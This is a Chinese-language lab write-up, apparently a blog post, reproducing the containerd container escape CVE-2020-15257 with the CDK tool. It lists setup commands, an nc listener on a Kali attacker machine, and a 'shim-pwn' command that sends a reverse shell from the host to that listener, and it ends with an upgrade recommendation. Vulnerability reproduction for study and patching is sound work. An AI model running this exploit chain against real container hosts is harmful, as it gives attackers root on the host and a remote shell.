docker逃逸漏洞(CVE-2020-15257)

1.漏洞描述

        containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

2.漏洞原理

        当在docker使用–net=host参数启动,与宿主机共享net namespace时,容器中的攻击者可以绕过访问权限访问 containerd 的控制API 进而导致权限提升。

3.影响版本

containerd < 1.4.3

containerd < 1.3.9

4.POC

下载地址:https://github.com/Xyntax/CDK/releases/tag/0.1.6

5.环境准备

Kali

192.168.42.138

Ubuntu

192.168.42.145

安装docker版本:18.06.1-ce

安装runc版本:1.0.0-rc5

安装containerd版本:1.2.0

6.漏洞复现

列出可用的containerd

apt-cache madison containerd

选择一个版本来安装

sudo apt-get install containerd=1.2.6-0ubuntu1~16.04.4

查看containerd版本

ctr version

下载POC

wget https://github.com/cdk-team/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

查看系统信息,显示本系统为ubuntu 16.04版本

通过--net=host 作为启动参数来运行一个容器

docker run -it --net=host ubuntu:16.04 /bin/bash

在容器内执行如下命令,可看到抽象命名空间Unix域套接字

cat /proc/net/unix|grep -a "containerd-shim"

PS生成的前12个字符为容器CONTAINER ID号

将解压cdk_linux_amd64文件拷贝到容器tmp文件夹下

Kali开启nc监听

nc –lvp 1919

在容器中执行exp,自动搜索可用的socket并反弹宿主机的shell到远端服务器,完成逃逸

./cdk_linux_amd64 run shim-pwn 192.168.42.138 1919

7.修复建议

升级containerd至最新版本。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值